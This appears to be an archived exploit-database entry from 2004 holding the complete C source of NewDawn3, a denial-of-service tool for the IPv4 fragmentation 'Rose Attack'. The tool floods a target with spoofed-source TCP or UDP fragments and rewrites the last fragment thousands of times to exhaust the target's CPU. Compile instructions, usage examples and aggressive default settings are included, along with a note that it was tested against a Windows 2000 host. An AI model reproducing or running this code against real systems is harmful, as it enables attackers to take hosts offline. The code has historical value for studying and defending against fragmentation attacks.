ROSE Attack - NewDawn3

2004-09-27T00:00:00
ID 1337DAY-ID-5887
Type zdt
Reporter Ken Hollis
Modified 2004-09-27T00:00:00

Description

Exploit for unknown platform in category dos / poc

                                        
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ROSE Attack - NewDawn3
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/*-------------------------------------------------------------*/
/*
  Implementation of Rose Attack described by Gandalf gandalf at digital.net
  Reference: Bugtraq, 30 mars 2004, "IPv4 fragmentation, The Rose Attack"

  NewDawn3.c written by Ken Hollis based on the code rose.c
  written by Laurent Constantin and rose2.c written by chuck
  modified from large IGMP attack by Kox by Coolio (coolio (at) k-r4d.com)

  Program allows choice of TCP or UDP, number of packets to fragment, number
  of fragments per packet and number of times the last fragment is
  rewritten.

  Based on a conversation where it was mentioned that a highly fragmented
  packet would cause high CPU utilization if the last fragment was written
  over and over again.  As chuck says, death by a thousand cuts.
  
  NewDawn3 send 32 byte fragments.  See:
  http://digital.net/~gandalf/Rose_Frag_Attack_Explained.htm
  
 Usage : ./NewDawn3 type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]
 Example: ./NewDawn3 1 1.2.3.4 80 5 9999 99999999 4080 2
   type      : 1=tcp, 2=udp
   ipaddress : address to test
   port      : optional port number (0 means random)
   NumP      : Number of packets to fragment (less than 1000)
   NumT      : Number of times last fragment is rewritten
   NumR      : Number of times to run test
   NumF      : Number of fragments per packet
   NumD      : Delta between fragements.  8 = 32 bytes blank
               64 bytes total between fragments (32 bytes 
	       payload + 32 bytes blank = 64 bytes),
               5 = 8 bytes blank (32 bytes payload + 8 bytes
	       blank = 40 bytes total = 5 * 8).
	       < 5 = overlapping fragments


  Library netwib must be installed:
    http://www.laurentconstantin.com/en/netw/netwib/
    http://go.to/laurentconstantin

  To compile and run :
    gcc -Wall -o NewDawn3 NewDawn3.c `netwib-config -lc`
    ./NewDawn3 1 www.example.com 80

    The command:
    ./NewDawn3 1 10.12.14.16
    Is equivalent to:
    ./NewDawn3 1 10.12.14.16 0 5 9999 99999999 1021 8
    Where:
    ./NewDawn3 = Program Name
    1 = TCP
    10.12.14.16 = IP Address
    0 = Random port numbers
    5 = Five packets to fragment before staring next set of packets
    9999 = The number of times to rewrite the last fragment of
           the five packets
    99999999 = The number of times to run this entire attack
    1021 = The number of middle fragments to write.
    8 = 64 bytes between 32 byte fragments (8 bytes * 8 = 64)

  This was successfully tested with netwib 5.12.0, under Linux
  to test a Windows 2000 host. Local network is Ethernet.
*/

/*-------------------------------------------------------------*/
// Test large number of packets
#define NUM_PACKETS 1000
#define NUM_LAST 9999
#define NUM_RUN 99999999
#define NUM_FRAG 8170
#define NUM_DELTA 8

#include <stdlib.h>
#include <stdio.h>
#include <netwib.h>

/*-------------------------------------------------------------*/
typedef enum {
  ROSE_TYPE_TCP = 1,
  ROSE_TYPE_UDP = 2
} rose_type;

/*-------------------------------------------------------------*/
typedef struct {
  rose_type type;
  netwib_ip ipad;
  netwib_port port;
  netwib_bool display;
  netwib_buf buf;
  netwib_io *pio;
} rose_params;

/*-------------------------------------------------------------*/
static netwib_err rose_loop(rose_params *prp, int npack, int nrew, 
		int nrun, int nfrag, int ndelta)
{
  netwib_iphdr ipheader, ipstore[NUM_PACKETS];
  netwib_tcphdr tcpheader, tcpstore[NUM_PACKETS];
  netwib_udphdr udpheader, udpstore[NUM_PACKETS];
  netwib_buf payload;
  netwib_uint32 numsent = 0;
  int i, j, nrun2;

printf("Packets %d Rewrite %d Runs %d Fragment packet to byte %d Delta %d\n\r",
           npack, nrew, nrun, nfrag, ndelta);
  
  for (nrun2=0; nrun2<nrun; nrun2++) {

    for (i=0; i<npack; i++){
	netwib_er(netwib_iphdr_initdefault(NETWIB_IPTYPE_IP4, &ipstore[i]));
	netwib_er(netwib_uint32_init_rand_all(&ipstore[i].src.ipvalue.ip4));
	switch(prp->type) {
	case ROSE_TYPE_TCP :
        netwib_er(netwib_tcphdr_initdefault(&tcpstore[i]));
        netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].src));
        if (prp->port == 0) {
          netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].dst));
	} else {
	  tcpstore[i].dst = prp->port;
    	}
        break;
	case ROSE_TYPE_UDP :
	netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].src));
	if (prp->port == 0) {
	  netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].dst));
        } else {
          udpstore[i].dst = prp->port;
        }
	break;
       }
    }
    
    for (i=0; i<npack; i++){
    /* construct first fragment */
    netwib__buf_reinit(&prp->buf);
    ipheader = ipstore[i];
    ipheader.header.ip4.morefrag = NETWIB_TRUE;
    ipheader.header.ip4.offsetfrag = 0; /* not necessary, but to be clear */
    ipheader.src.iptype = NETWIB_IPTYPE_IP4;
    ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
    ipheader.dst = prp->ipad;
    switch(prp->type) {
    case ROSE_TYPE_TCP :
      tcpheader = tcpstore[i];
      tcpheader.src = tcpstore[i].src;
      tcpheader.dst = tcpstore[i].dst;
      tcpheader.ack = NETWIB_TRUE;
      netwib_er(netwib_buf_init_ext_text("1234567890123456789012345678",
                                         &payload));
      netwib_er(netwib_pkt_append_iptcpdata(&ipheader, &tcpheader, &payload,
                                          &prp->buf));
      break;
    case ROSE_TYPE_UDP :
      netwib_er(netwib_udphdr_initdefault(&udpheader));
      udpheader.src = udpstore[i].src;
      udpheader.dst = udpstore[i].dst;
      netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012",
                                         &payload));
      netwib_er(netwib_pkt_append_ipudpdata(&ipheader, &udpheader, &payload,
                                            &prp->buf));
      break;
    }
    if (prp->display) {
      netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
                                      NETWIB_ENCODETYPE_DUMP));
    }
    netwib_er(netwib_io_write(prp->pio, &prp->buf));
    
    /* construct middle fragments */
    netwib__buf_reinit(&prp->buf);
    ipheader.header.ip4.offsetfrag = 0x0008;
    for(ipheader.header.ip4.offsetfrag = 0x0008 ; 
	ipheader.header.ip4.offsetfrag< nfrag; 
	ipheader.header.ip4.offsetfrag = ipheader.header.ip4.offsetfrag + 
	                                 ndelta){
    netwib__buf_reinit(&prp->buf);
    switch(prp->type) {
    case ROSE_TYPE_TCP :
      ipheader.protocol = NETWIB_IPPROTO_TCP;
      break;
    case ROSE_TYPE_UDP :
      ipheader.protocol = NETWIB_IPPROTO_UDP;
      break;
    }
    netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012",
			    &payload));
    netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
    if (prp->display) {
    netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
				    NETWIB_ENCODETYPE_DUMP));
    }
    netwib_er(netwib_io_write(prp->pio, &prp->buf));
    }

    }

    printf("Rewriting %d packets last fragment %d times\r\n",
		    npack,nrew); fflush(stdout);

    /* construct last fragment and rewrite NUM_LAST times */
    for (j=0;j<nrew;j++){
    netwib__buf_reinit(&prp->buf);
    for (i=0; i<npack; i++){
    ipheader = ipstore[i];
    ipheader.src.iptype = NETWIB_IPTYPE_IP4;
    ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
    ipheader.dst = prp->ipad;
    switch(prp->type) {
    case ROSE_TYPE_TCP :
      tcpheader = tcpstore[i];
      tcpheader.src = tcpstore[i].src;
      tcpheader.dst = tcpstore[i].dst;
      tcpheader.ack = NETWIB_TRUE;
      ipheader.protocol = NETWIB_IPPROTO_TCP;
    break;
    case ROSE_TYPE_UDP :
      udpheader.src = udpstore[i].src;
      udpheader.dst = udpstore[i].dst;
      ipheader.protocol = NETWIB_IPPROTO_UDP;
    break;
    }
    
    netwib__buf_reinit(&prp->buf);
    ipheader.header.ip4.morefrag = NETWIB_FALSE;
    ipheader.header.ip4.offsetfrag = 0x1FF0;
    netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012",
                                       &payload));
    netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
    if (prp->display) {
      netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
                                      NETWIB_ENCODETYPE_DUMP));
       }
    netwib_er(netwib_io_write(prp->pio, &prp->buf));
    }
    }
    /* dot display */
    if (!prp->display && (numsent%100)==0) {
      printf("."); fflush(stdout);
    }
    numsent++;
  }

  return(NETWIB_ERR_OK);
}

/*-------------------------------------------------------------*/
int main(int argc, char* argv[])
{
  rose_params rp;
  netwib_buf ipstr;
  netwib_err ret;
  int npack, nrew, nrun, nfrag, ndelta;

  /* initialize netwib */
  netwib_init();

  /* check parameter count */
  if (argc < 3 || argc > 9) {
    printf("Usage  : %s type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]\n", argv[0]);
    printf("Example: %s 1 1.2.3.4 80 5 9999 99999999 1021 8\n", argv[0]);
    printf(" type      : %d=tcp, %d=udp\n", ROSE_TYPE_TCP, ROSE_TYPE_UDP);
    printf(" ipaddress : address to test\n");
    printf(" port      : optional port number (0 means random)\n");
    printf(" NumP      : Number of packets to fragment\n");
    printf(" NumT      : Number of times last fragment is rewritten\n");
    printf(" NumR      : Number of times to run test\n");
    printf(" NumF      : Number of fragments per packet\n");
    printf(" NumD      : Delta between fragements.\n");
   return(1);
  }

  /* first parameter is type */
  rp.type = atoi(argv[1]);
  switch(rp.type) {
  case ROSE_TYPE_TCP :
  case ROSE_TYPE_UDP :
    break;
  default :
    printf("First parameter must be 1 or 2 (currently=%s)\n", argv[1]);
    return(2);
  }

  /* second parameter is IP address */
  netwib_er(netwib_buf_init_ext_text(argv[2], &ipstr));
  ret = netwib_ip_init_buf(&ipstr, NETWIB_IP_DECODETYPE_BEST, &rp.ipad);
  if (ret != NETWIB_ERR_OK) {
    printf("Second parameter must be an IP or hostname (currently=%s)\n",
           argv[2]);
    return(3);
  }

  /* third parameter is port number */
  rp.port = 0;
  if (argc > 3) {
    rp.port = atoi(argv[3]); /* on error, set to 0, but that's ok */
  }

  /* fourth parameter is number of packets to fragment */
  npack = 5;
  if (argc > 4) {
    npack = atoi(argv[4]); /* on error, set to 1 */
    }
  if (npack < 1) { npack = 1; }
  if (npack > 1000) { npack = 1000; }
  
  /* fifth parameter is number of times packet is rewritten */
  nrew = NUM_LAST;
  if (argc > 5) {
    nrew = atoi(argv[5]); /* on error, set to 0, but that's ok */
    }
  
  /* sixth parameter is number of times to run the test */
  nrun = NUM_RUN;
  if (argc > 6) {
    nrun = atoi(argv[6]); /* on error, set to 0, but that's ok */
    }
  
  /* seventh parameter is number of fragments per packet */
  nfrag = NUM_FRAG;
  if (argc > 7) {
    nfrag = atoi(argv[7]); 
    }
  if (nfrag < 1) { nfrag = 1; }

  /* eighth parameter is delta between fragments */
    ndelta = NUM_DELTA;
    if (argc > 8) {
      ndelta = atoi(argv[8]);
      }

  /* Make sure that the fragments do not exceed 8170 */

    nfrag = (nfrag * ndelta) + 8;
    if (nfrag > 8170) { nfrag = 8170; }
  
  printf("%s %d %s %d %d %d %d %d ndelta = %d\n\r",
          argv[0], rp.type, argv[2], rp.port, npack, nrew, nrun, 
	  nfrag / 8, ndelta);

  /* set to NETWIB_TRUE to activate display */
  rp.display = NETWIB_FALSE;

  /* instead of allocating memory each time, just use this permanent buffer */
  netwib_er(netwib_buf_init_mallocdefault(&rp.buf));

  /* initialize spoofing feature */
  netwib_er(netwib_io_init_spoof_ip(NETWIB_SPOOF_IP_INITTYPE_LINKBRAW,
                                    &rp.pio));

  /* main function */
  ret = rose_loop(&rp, npack, nrew, nrun, nfrag, ndelta);
  if (ret != NETWIB_ERR_OK) {
    netwib_er(netwib_err_display(ret, NETWIB_ERR_ENCODETYPE_FULL));
    return(ret);
  }

  /* close netwib */
  netwib_er(netwib_io_close(&rp.pio));
  netwib_er(netwib_buf_close(&rp.buf));
  netwib_close();

  return(0);
}



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